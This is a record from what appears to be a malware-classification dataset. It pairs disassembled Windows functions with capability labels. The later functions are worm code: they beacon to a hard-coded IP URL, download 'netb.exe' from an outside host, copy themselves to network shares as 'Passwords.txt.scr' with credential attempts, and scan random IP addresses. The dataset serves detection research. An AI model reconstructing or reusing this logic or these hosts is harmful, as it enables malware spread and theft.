joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4173a7
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi], ebx
jbe 0x417422
push ebp
push edi
lea edi, [esi + 4]
lea eax, [esp + 0x10]
push eax
push 0
push esi
push 0x4174e0
push 0x10000
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, eax
test ebp, ebp
jne 0x4173fe
push str.CreateThread_failed
push 0x44b0c8
call fcn.00409321
pop ecx
pop ecx
mov ecx, 0x44b0c8
call fcn.00409536
push 2
mov ecx, 0x44b0c8
call fcn.0040931c
mov dword [edi], ebp
inc dword [esi + 0x104]
mov eax, dword [0x452210]
test eax, eax
je 0x417418
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
inc ebx
add edi, 4
cmp ebx, dword [esi]
jb 0x4173b7
pop edi
pop ebp
pop esi
pop ebx
pop ecx
ret
Function at 0x41df66
Capabilities:
Hide graphical window

Disassembly:
push 0x38
mov eax, 0x43a678
call fcn.004254d8
mov ebx, ecx
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x44], eax
mov al, byte [ebp + 0x18]
push 0
push edi
mov dword [ebp - 0x3c], edi
mov dword [ebx + 8], edi
mov byte [ebx + 0x42], al
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
mov ecx, ebx
call fcn.0041dc84
cmp dword [ebx + 0x20], 0
je 0x41dfb2
push dword [ebx + 0x20]
call fcn.0042cd87
pop ecx
mov eax, dword [ebp - 0x40]
test eax, eax
je 0x41dfc0
push eax
call fcn.0042e243
pop ecx
mov dword [ebx + 0x20], eax
mov eax, dword [ebp - 0x44]
test eax, eax
je 0x41dfd1
push eax
call fcn.0042e243
pop ecx
mov dword [ebx + 0x24], eax
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 2
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.USER32.dll_GetParent]
push eax
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
cmp dword [ebx + 4], 0
je 0x41e004
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x30]
push ebx
push dword [ebx]
sub esi, eax
lea edi, [eax + 1]
push 0
push dword [ebp - 0x3c]
sub esi, 2
call dword [sym.imp.USER32.dll_GetParent]
push eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x34]
push eax
push esi
push dword [ebp - 0x34]
push edi
push 0x40000000
xor edi, edi
push edi
push 0x43c854
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
cmp byte [ebx + 0x1c], 0
mov dword [ebx + 4], eax
jne 0x41e08e
cmp dword [ebx + 0x10], edi
jne 0x41e08e
mov esi, dword [ebp - 0x3c]
test esi, esi
je 0x41e0a4
cmp dword [ebx + 0x24], edi
jne 0x41e0a4
cmp dword [ebx + 0x20], edi
je 0x41e0a4
push dword [ebx + 0x20]
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.0041dd7e
push 5
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x28]
push eax
push esi
call fcn.00401e05
lea ecx, [ebp - 0x28]
call fcn.00401a66
jmp 0x41e0a4
test eax, eax
je 0x41e0a4
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
call fcn.00425487
ret 0x14
Function at 0x41e61a
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ecx
push ecx
push ebx
lea eax, [esp + 4]
xor ebx, ebx
push eax
push 0x43d7fc
push 1
push ebx
push 0x43d8ec
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x41e79e
mov eax, dword [esp + 4]
lea ecx, [esp + 8]
push esi
push ecx
push 0x43d8dc
mov esi, dword [eax]
push eax
mov ecx, dword [esi]
call dword [0x43b280]
call dword [esi]
test eax, eax
js 0x41e789
push ebp
push edi
mov edi, dword [esp + 0x24]
push 8
pop ebp
cmp byte [esp + 0x1c], bl
je 0x41e692
mov edx, edi
cmp dword [edi + 0x14], ebp
jb 0x41e67b
mov edx, dword [edi]
mov eax, dword [esp + 0x14]
push 2
push edx
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x14]
mov ecx, esi
call dword [0x43b280]
call esi
mov edx, dword [esp + 0x20]
cmp dword [edx + 0x14], ebp
jb 0x41e69d
mov edx, dword [edx]
mov eax, dword [esp + 0x10]
push edx
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x50]
mov ecx, esi
call dword [0x43b280]
call esi
mov edx, dword [esp + 0x2c]
cmp dword [edx + 0x10], ebx
je 0x41e6d7
cmp dword [edx + 0x14], ebp
jb 0x41e6c2
mov edx, dword [edx]
mov eax, dword [esp + 0x10]
push edx
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x1c]
mov ecx, esi
call dword [0x43b280]
call esi
mov edx, dword [esp + 0x30]
cmp dword [edx + 0x10], ebx
jne 0x41e6e8
push ebx
push 0x43b6c8
jmp 0x41e6f1
cmp dword [edx + 0x14], ebp
jb 0x41e6ef
mov edx, dword [edx]
push ebx
push edx
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x44]
mov ecx, esi
call dword [0x43b280]
call esi
mov edx, dword [esp + 0x34]
cmp dword [edx + 0x10], ebx
je 0x41e72a
cmp dword [edx + 0x14], ebp
jb 0x41e715
mov edx, dword [edx]
mov eax, dword [esp + 0x10]
push edx
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x2c]
mov ecx, esi
call dword [0x43b280]
call esi
mov edx, dword [esp + 0x28]
cmp dword [edx + 0x10], ebx
je 0x41e74f
cmp dword [edx + 0x14], ebp
jb 0x41e73a
mov edx, dword [edx]
mov eax, dword [esp + 0x10]
push edx
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x24]
mov ecx, esi
call dword [0x43b280]
call esi
cmp dword [edi + 0x14], ebp
jb 0x41e756
mov edi, dword [edi]
mov eax, dword [esp + 0x14]
push 1
push edi
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x18]
mov ecx, esi
call dword [0x43b280]
call esi
pop edi
pop ebp
test eax, eax
js 0x41e775
mov bl, 1
mov eax, dword [esp + 0xc]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 8]
mov ecx, esi
call dword [0x43b280]
call esi
mov ecx, dword [esp + 8]
push ecx
mov edx, dword [ecx]
mov esi, dword [edx + 8]
mov ecx, esi
call dword [0x43b280]
call esi
pop esi
mov al, bl
pop ebx
pop ecx
pop ecx
ret 0x1c

Function at 0x41e82d
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x448778]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call fcn.00426ef0
add esp, 0xc
mov dword [ebp - 0x44], 0x40
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
shrd eax, ecx, 0x1e
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00425434
leave
ret
Function at 0x41e8d3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push ecx
push esi
push edi
push 0x43ca70
push dword [esp + 0x18]
push dword [0x44b080]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x41e9ec
push esi
push dword [0x44b080]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x41e9ec
push esi
push dword [0x44b080]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41e9ec
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x41e9ec
push ebx
push ebp
push edi
xor ebp, ebp
push 2
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x41e9e4
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x41e9dd
push edi
push esi
push eax
call fcn.00426970
add esp, 0xc
mov dword [esp + 0x10], ebp
lea eax, [esp + 0x10]
push eax
push ebp
push ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x41e9d6
push ebp
push dword [esp + 0x14]
call fcn.0041e806
mov ecx, dword [esp + 0x10]
mov edi, eax
push ecx
mov edx, dword [ecx]
mov esi, dword [edx + 8]
mov ecx, esi
call dword [0x43b280]
call esi
test edi, edi
je 0x41e9d6
mov eax, dword [edi + 8]
mov dword [edi + 8], ebp
test eax, eax
jne 0x41e9c4
push 0xffffff
lea eax, [esp + 0x18]
push eax
push dword [edi + 4]
call sub.gdiplus.dll_GdipCreateHBITMAPFromBitmap
test eax, eax
je 0x41e9c4
mov dword [edi + 8], eax
mov eax, dword [edi]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x43b280]
mov ecx, edi
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [esp + 0x14]
pop ebp
pop ebx
jmp 0x41e9ee
xor eax, eax
pop edi
pop esi
pop ecx
pop ecx
ret 4
Function at 0x41f779
Capabilities:
Create directory

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x8c
mov eax, dword [0x448778]
xor eax, ebp
mov dword [ebp + 0x70], eax
push esi
mov esi, dword [ebp + 0x7c]
lea eax, [ebp + 0x18]
push eax
call fcn.0041fba7
test al, al
je 0x41f839
push ebx
push edi
lea eax, [ebp + 0x18]
mov dword [ebp - 0x18], 0x11060000
xor edi, edi
mov dword [ebp + 4], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0xc], edi
push eax
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 8], edi
xor ebx, ebx
mov dword [ebp], edi
inc ebx
mov dword [ebp - 0x10], 3
push eax
push ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], edi
mov dword [ebp + 0x14], edi
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclW]
test eax, eax
jne 0x41f837
push ebx
lea eax, [ebp + 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x41f829
push edi
push dword [ebp + 0x14]
lea eax, [ebp + 0x5c]
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x41f829
cmp dword [esi + 0x14], 8
lea eax, [ebp + 0x5c]
mov dword [ebp + 8], 0xc
mov dword [ebp + 0xc], eax
mov dword [ebp + 0x10], edi
jb 0x41f81e
mov esi, dword [esi]
lea eax, [ebp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [ebp + 0x14], edi
je 0x41f837
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop ebx
mov ecx, dword [ebp + 0x70]
xor ecx, ebp
pop esi
call fcn.00425434
add ebp, 0x74
leave
ret 4

Function at 0x41fa34
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x448778]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x448724], 0
push ebx
push esi
mov esi, dword [ebp + 0x10]
mov ebx, 0x400
push edi
mov edi, dword [ebp + 0x14]
jne 0x41fa8f
push 0x64
lea eax, [ebp - 0x130]
push eax
push 0xf
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ax, word [ebp - 0x130]
mov word [0x452854], ax
xor eax, eax
mov word [0x452856], ax
mov dword [0x448724], 0x452854
push 0x32
lea eax, [ebp - 0x68]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00416517
push edi
push esi
xor eax, eax
push 0x448714
mov word [esi], ax
lea eax, [ebp - 0x68]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
mov ecx, dword [ebp - 4]
xor eax, eax
mov word [esi + edi*2 - 2], ax
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00425434
leave
ret 0x10
Function at 0x41fedd
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x20
mov eax, 0x43a8f3
call fcn.004254a5
mov eax, dword [ebp + 0xc]
xor ebx, ebx
cmp dword [eax + 0x14], 8
jb 0x41fef6
mov eax, dword [eax]
lea ecx, [ebp - 0x14]
push ecx
push 1
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41fff5
mov eax, dword [ebp + 0x10]
mov ecx, eax
cmp dword [eax + 0x14], 8
jb 0x41ff1c
mov ecx, dword [eax]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
push ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41ffe8
mov ecx, dword [ebp + 0x18]
mov eax, dword [ebp - 0x18]
shr eax, 1
cmp dword [ecx + 0x10], eax
jbe 0x41ff45
mov eax, dword [ecx + 0x10]
inc eax
mov ecx, 0x10000
cmp eax, ecx
jb 0x41ff51
mov eax, ecx
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
call fcn.00401bbd
mov edi, dword [ebp - 0x28]
mov eax, edi
mov esi, dword [ebp - 0x2c]
sub eax, esi
sar eax, 1
add eax, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x10]
cmp dword [eax + 0x14], 8
jb 0x41ff82
mov eax, dword [eax]
lea ecx, [ebp - 0x1c]
push ecx
push esi
lea ecx, [ebp - 0x20]
push ecx
push ebx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41ffd1
mov word [ebp - 0xe], ax
cmp edi, dword [ebp - 0x24]
je 0x41ffae
mov word [edi], ax
add edi, 2
mov dword [ebp - 0x28], edi
jmp 0x41ffbe
lea eax, [ebp - 0xe]
push eax
push edi
lea ecx, [ebp - 0x2c]
call fcn.0041f3c2
mov esi, dword [ebp - 0x2c]
push esi
call fcn.0042a9ee
pop ecx
mov ecx, dword [ebp + 0x14]
push eax
push esi
call fcn.00401afc
mov bl, 1
or dword [ebp - 4], 0xffffffff
test esi, esi
je 0x41ffe8
mov eax, dword [ebp - 0x24]
sub eax, esi
and eax, 0xfffffffe
push eax
push esi
call fcn.004012a7
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
jne 0x420000
push dword [ebp + 0x18]
mov ecx, dword [ebp + 0x14]
call fcn.004025c3
mov al, bl
call fcn.00425473
ret 0x14
Function at 0x423919
Capabilities:
Hide graphical window

Disassembly:
and dword [0x45287c], 0
push 1
push dword [esp + 8]
mov byte [0x452871], 1
mov byte [0x452872], 1
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 2
push dword [esp + 0xc]
call fcn.00401cc4
cmp dword [0x4486c0], 0
jne 0x423959
cmp byte [0x45287b], 0
je 0x423962
cmp dword [0x452874], 0
jne 0x423975
push 0
push 1
push 0x111
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
ret 4

Function at 0x423a64
Capabilities:
Set registry value

Disassembly:
push 0x2c
mov eax, 0x439a9d
call fcn.004254d8
cmp byte [0x45237c], 0
mov esi, dword [ebp + 8]
je 0x423b4b
cmp dword [0x452390], 0
je 0x423b4b
xor edi, edi
mov dword [ebp - 0x14], 7
xor eax, eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x18], edi
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x28]
mov dword [ebp - 4], edi
push eax
push 0x452380
call fcn.004219eb
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x2c]
push eax
push edi
push 0x20006
push edi
push edi
push edi
push str.SoftwareWinRAR_SFX
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x423b10
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x423ae2
mov ecx, dword [esi]
cmp dword [ebp - 0x14], 8
lea edx, [ebp - 0x28]
jb 0x423aee
mov edx, dword [ebp - 0x28]
mov eax, dword [esi + 0x10]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push edi
push edx
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x423b4b
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
cmp eax, 0x1000
jb 0x423b42
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.004019a9
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
push eax
push ecx
call fcn.00425426
pop ecx
pop ecx
call fcn.00425487
ret 4
Function at 0x4266c9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x426708
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x426708
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x426708
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x426708
cmp dword [ecx + 0x74], 0xe
jbe 0x426708
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x438ab0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x438add
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x438add
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3ec
push ebx
push esi
push edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x3ec]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str.http:__185.215.113.66_admin.php_s_s_s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
xor esi, esi
push esi
push esi
push esi
push esi
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40106c
push esi
push esi
push esi
push esi
lea ecx, [ebp - 0x3ec]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
push 0x3e8
mov esi, eax
call edi
push esi
call ebx
push 0x3e8
call edi
push dword [ebp - 4]
call ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40107d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call sub.MSVCR90.dll_memset
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call sub.MSVCR90.dll_memset
add esp, 0x18
push 5
pop eax
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x20
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x54], 0x44
push esi
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x4010e3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4010fc
push esi
push esi
push esi
push dword [ebp + 8]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x4010d4
xor al, al
pop esi
leave
ret
Function at 0x40132e
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push str._s24642664.jpg
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40137f
xor al, al
leave
ret
xor eax, eax
push eax
push 2
push 1
push eax
push eax
push 0x40000000
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4013a6
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
leave
ret
Function at 0x4013aa
Capabilities:
Connect network resource
Copy file
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x654
push ebx
push esi
push edi
push 0x20
xor esi, esi
lea eax, [ebp - 0x3c]
push esi
push eax
call sub.MSVCR90.dll_memset
push dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], esi
call sub.MSVCR90.dll_strlen
inc eax
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x654]
push eax
call sub.MSVCR90.dll_mbstowcs
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
push 0x1f6
lea eax, [ebp - 0x654]
push eax
call sub.NETAPI32.dll_NetShareEnum
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x401424
cmp eax, 0xea
jne 0x40155c
mov eax, dword [ebp - 0x10]
xor ebx, ebx
inc ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
jb 0x401547
jmp 0x40143e
xor ebx, ebx
inc ebx
xor eax, eax
movzx edx, ax
mov eax, edx
shl edx, 0x10
or eax, edx
mov ecx, 0x82
lea edi, [ebp - 0x44c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0xc]
push dword [eax]
lea eax, [ebp - 0x654]
push eax
lea eax, [ebp - 0x44c]
push str._s_s
push eax
call esi
add esp, 0x10
mov dword [ebp - 0x38], ebx
xor ebx, ebx
lea eax, [ebp - 0x44c]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], ebx
push 0
push dword [section..data]
lea eax, [ebp - 0x3c]
push dword [ebx*4 + 0x405008]
push eax
call sub.MPR.dll_WNetAddConnection2W
test eax, eax
je 0x4014af
inc ebx
cmp ebx, 8
jb 0x401488
jmp 0x401534
xor eax, eax
movzx edx, ax
mov eax, edx
shl edx, 0x10
or eax, edx
mov ecx, 0x82
lea edi, [ebp - 0x244]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x244]
push str._sPasswords.txt.scr
push eax
call esi
add esp, 0xc
xor edi, edi
push edi
lea eax, [ebp - 0x244]
push eax
push 0x405428
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401515
push dword [ebx*4 + 0x405008]
lea eax, [ebp - 0x244]
push dword [section..data]
push eax
call fcn.00401000
add esp, 0xc
push 0
push dword [ebp - 0x28]
call sub.MPR.dll_WNetCancelConnectionW
test eax, eax
je 0x401534
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x14
jl 0x401515
add dword [ebp - 0xc], 0x28
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jbe 0x40143b
push dword [ebp - 0x10]
call sub.NETAPI32.dll_NetApiBufferFree
cmp dword [ebp - 0x1c], 0xea
je 0x4013ef
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x401563
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x401588
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x401581
pop ebp
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
pop ebp
ret
Function at 0x40167e
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
push ebx
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.76759
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4016b8
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
movzx edx, ax
mov eax, edx
push 0x104
mov esi, 0x405428
shl edx, 0x10
push esi
or eax, edx
mov ecx, 0x82
mov edi, esi
push ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push str.Passwords.txt.scr
push eax
call sub.MSVCR90.dll_wcscmp
pop ecx
pop ecx
test eax, eax
jne 0x40170b
call fcn.0040132e
test al, al
je 0x40170b
push str.http:__twizt.net_netb.exe
call fcn.004010ff
pop ecx
push ebx
push ebx
push ebx
push 0x40166a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x1c4]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
pop ecx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xc8
idiv ecx
lea esi, [edx + 0x14]
call sub.MSVCR90.dll_rand
cdq
mov ebx, 0xfe
mov ecx, ebx
idiv ecx
lea edi, [edx + 1]
call sub.MSVCR90.dll_rand
cdq
idiv ebx
lea ebx, [edx + 1]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
inc edx
cmp esi, 0x7f
je 0x401739
cmp esi, 0xac
je 0x401739
cmp esi, 0xc0
je 0x401739
push edx
push ebx
push edi
push esi
lea eax, [ebp - 0x34]
push str._d._d._d._d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
xor eax, eax
push eax
push eax
lea ecx, [ebp - 0x34]
push ecx
push 0x40158a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
call sub.MSVCR90.dll_rand
push 0x64
cdq
pop ecx
idiv ecx
add edx, 0x32
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401739